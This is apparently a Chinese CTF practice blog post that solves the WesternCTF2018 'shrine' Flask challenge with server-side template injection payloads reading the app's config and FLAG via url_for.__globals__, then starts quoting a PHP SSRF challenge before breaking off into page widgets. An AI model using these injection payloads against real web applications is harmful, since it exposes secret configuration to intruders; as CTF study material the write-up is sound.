一周刷题记录 | Web&Misc

这篇博客记录了作者在一周内刷题的经历,涉及Web安全领域的SSTI、SSRF等漏洞。通过分析CTF比赛中的题目,解释了如何利用这些漏洞,包括SSTI利用flask的内置函数、SSRF配合cURL和parse_url进行内外网信息获取,以及如何进行主从复制RCE。还提到了其他题目,如Bash命令执行和VeraCrypt硬盘加密的解密过程。
摘要由CSDN通过智能技术生成


BUU

每天一道题,冲冲冲!


0x00:[WesternCTF2018]shrine

首页便给了一段flask代码,简单分析一下

import flask
import os

app = flask.Flask(__name__)

app.config['FLAG'] = os.environ.pop('FLAG')

@app.route('/')
def index():
    return open(__file__).read()
    
@app.route('/shrine/<path:shrine>')
def shrine(shrine):

    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{
   {% set {}=None%}}'.format(c) for c in blacklist]) + s

    return flask.render_template_string(safe_jinja(shrine))

if __name__ == '__main__':
    app.run(debug=True)

发现这一段代码

app.config['FLAG'] = os.environ.pop('FLAG')
#pop() 函数用于移除列表中的一个元素(默认最后一个元素),并且返回该元素的值。

在这里插入图片描述
意思便是该题将FLAG存储到了配置变量中,但下面的代码过滤了config以及()

这个题考察的是SSTI,那下面就要想办法去使用config查看所有应用程序的配置值(FLAG值应该包含在其中),需要构造一个和config作用相同的payload,可以使用flask两个内置函数进行构造

  1. url_for() – 用于反向解析,生成url
  2. get_flashed_messages() – 用于获取flash消息

先寻找一下全部全局变量

{
   {
   url_for.__globals__}}
{
   {
   get_flashed_messages.__globals__}}

在这里插入图片描述
发现有current_app全局变量,查看一下config

{
   {
   url_for.__globals__['current_app'].config}}
{
   {
   get_flashed_messages.__globals__['current_app'].config}}
{
   {
   url_for.__globals__['current_app'].config['FLAG']}}

在这里插入图片描述

0x01:[网鼎杯 2020 玄武组]SSRFMe

<?php
function check_inner_ip($url)
{
   
    $match_result=preg_match('/^(http|https|gopher|dict)?:\/\/.*(\/)?.*$/',$url);
    if (!$match_result)
    {
   
        die('url fomat error');
    }
    try
    {
   
        $url_parse=parse_url($url);
    }
    catch(Exception $e)
    {
   
        die('url fomat error');
        return false;
    }
    $hostname=$url_parse['host'];
    $ip=gethostbyname($hostname);
    $int_ip=ip2long($ip);
    return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;
}

function safe_request_url($url)
{
   

    if (check_inner_ip($url))
    {
   
        echo $url
  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值